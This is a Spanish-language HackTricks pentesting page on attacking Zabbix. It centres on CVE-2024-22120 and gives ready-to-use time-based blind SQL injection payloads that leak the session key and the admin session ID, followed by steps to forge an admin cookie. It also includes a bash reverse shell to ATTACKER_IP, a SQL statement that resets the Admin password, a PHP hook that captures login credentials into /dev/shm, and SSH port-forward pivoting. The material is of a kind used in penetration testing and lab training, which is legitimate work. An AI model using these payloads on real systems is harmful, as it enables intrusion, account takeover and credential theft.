Seguridad de Zabbix
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen
Zabbix es una plataforma de monitorización que expone una interfaz web (típicamente detrás de Apache/Nginx) y un componente server que también habla el protocolo Zabbix en TCP/10051 (server/trapper) y un agente en TCP/10050. Durante los engagements puedes encontrar:
- Web UI: virtual host HTTP(S) como zabbix.example.tld
- Zabbix server port: 10051/tcp (JSON sobre un framing de cabecera ZBXD)
- Zabbix agent port: 10050/tcp
Formato útil de cookie: zbx_session es Base64 de un objeto JSON compacto que incluye al menos sessionid, serverCheckResult, serverCheckTime y sign. El sign es un HMAC del payload JSON.
zbx_session cookie internals
Las versiones recientes de Zabbix calculan la cookie así:
- data JSON: {“sessionid”:“<32-hex>”,“serverCheckResult”:true,“serverCheckTime”:<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
Si puedes recuperar el global session_key y un admin sessionid válido, puedes forjar una cookie Admin válida offline y autenticarte en la UI.
CVE-2024-22120 — Time-based blind SQLi en el registro de auditoría de Zabbix Server
Versiones afectadas (según lo documentado públicamente):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
Resumen de la vulnerabilidad:
- Cuando la ejecución de un Script se registra en el registro de auditoría del Zabbix Server, el campo clientip no se sanitiza y se concatena en SQL, permitiendo SQLi ciego basado en tiempo vía el componente server.
- Esto es explotable enviando una petición “command” especialmente creada al puerto del Zabbix server 10051 con un sessionid válido de bajo privilegio, un hostid al que el usuario tiene acceso, y un scriptid permitido.
Precondiciones y consejos para descubrimiento:
- sessionid: Desde guest/login en la web UI, decodifica zbx_session (Base64) para obtener el sessionid.
- hostid: Obsérvalo mediante peticiones de la web UI (p. ej., Monitoring → Hosts) o interceptando con un proxy; el valor por defecto común es 10084.
- scriptid: Solo se ejecutarán los scripts permitidos al rol actual; verifica inspeccionando el menú de scripts/respuestas AJAX. Valores por defecto como 1 o 2 a menudo están permitidos; 3 puede ser denegado.
Flujo de explotación
- Provocar la inserción en el log de auditoría con SQLi en clientip
- Conéctate a TCP/10051 y envía un mensaje enmarcado de Zabbix con request=“command” incluyendo sid, hostid, scriptid, y clientip establecido a una expresión SQL que será concatenada por el servidor y evaluada.
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
El formato de wire completo es: “ZBXD\x01” + 8-byte little-endian length + UTF-8 JSON. Puedes usar pwntools o tu propio código de sockets para empaquetarlo.
- Time-bruteforce secrets via conditional sleep
Usa expresiones condicionales para leak hex-encoded secrets 1 char at a time midiendo el tiempo de respuesta. Ejemplos que han funcionado en la práctica:
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Administrador session_id (userid=1) desde sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Notas:
- charset: 32 hex chars [0-9a-f]
- Elige T_TRUE >> T_FALSE (p. ej., 10 vs 1) y mide el tiempo real (wall-clock) por intento
- Asegúrate de que tu scriptid esté realmente autorizado para el usuario; de lo contrario no se producirá ninguna fila de auditoría y el cronometraje no funcionará
- Forge Admin cookie
Once you have:
- session_key: 32-hex de config.session_key
- admin_sessionid: 32-hex de sessions.sessionid para userid=1
Compute:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
Herramientas listas para usar
- El PoC público automatiza: bruteforce de session_key y admin sessionid, y cookie forging; requiere pwntools y requests.
- Los parámetros a proporcionar típicamente incluyen: –ip (FQDN of UI), –port 10051, –sid (low-priv), –hostid, y opcionalmente un –admin-sid conocido para saltar el brute.
RCE via Script execution (post-Admin)
Con acceso Admin en la UI, puedes ejecutar Scripts predefinidos contra hosts monitorizados. Si los agents/hosts ejecutan comandos de script localmente, esto produce ejecución de código en esos sistemas (a menudo como el usuario zabbix en hosts Linux):
- Quick check: run id to confirm user context
- Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
TTY upgrade (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Si tienes acceso a la DB, una alternativa a forjar una cookie es restablecer la contraseña del Admin al bcrypt documentado para “zabbix”:
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Captura de credenciales mediante gancho de inicio de sesión (post-exploitation)
Si es posible escribir archivos en el servidor de la interfaz web, puedes añadir temporalmente un fragmento de registro en /usr/share/zabbix/index.php alrededor de la rama del inicio de sesión basada en formulario para capturar credenciales:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Los usuarios se autentican normalmente; lee /dev/shm/creds.txt después. Elimina el hook cuando termines.
Pivoting a servicios internos
Incluso si el shell de la cuenta de servicio es /usr/sbin/nologin, añadir una entrada en authorized_keys de SSH y usar -N -L permite el reenvío de puertos local a servicios accesibles solo desde loopback (por ejemplo, CI/CD en 8111):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Ver más patrones de tunneling en: Consulta Tunneling and Port Forwarding.
Consejos operativos
- Valida que scriptid esté permitido para el rol actual (guest puede tener un conjunto limitado)
- Timing brute puede ser lento; almacena en caché el sessionid de admin recuperado y reutilízalo
- El JSON enviado al puerto 10051 debe estar enmarcado con el encabezado ZBXD\x01 y una longitud little-endian
Referencias
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

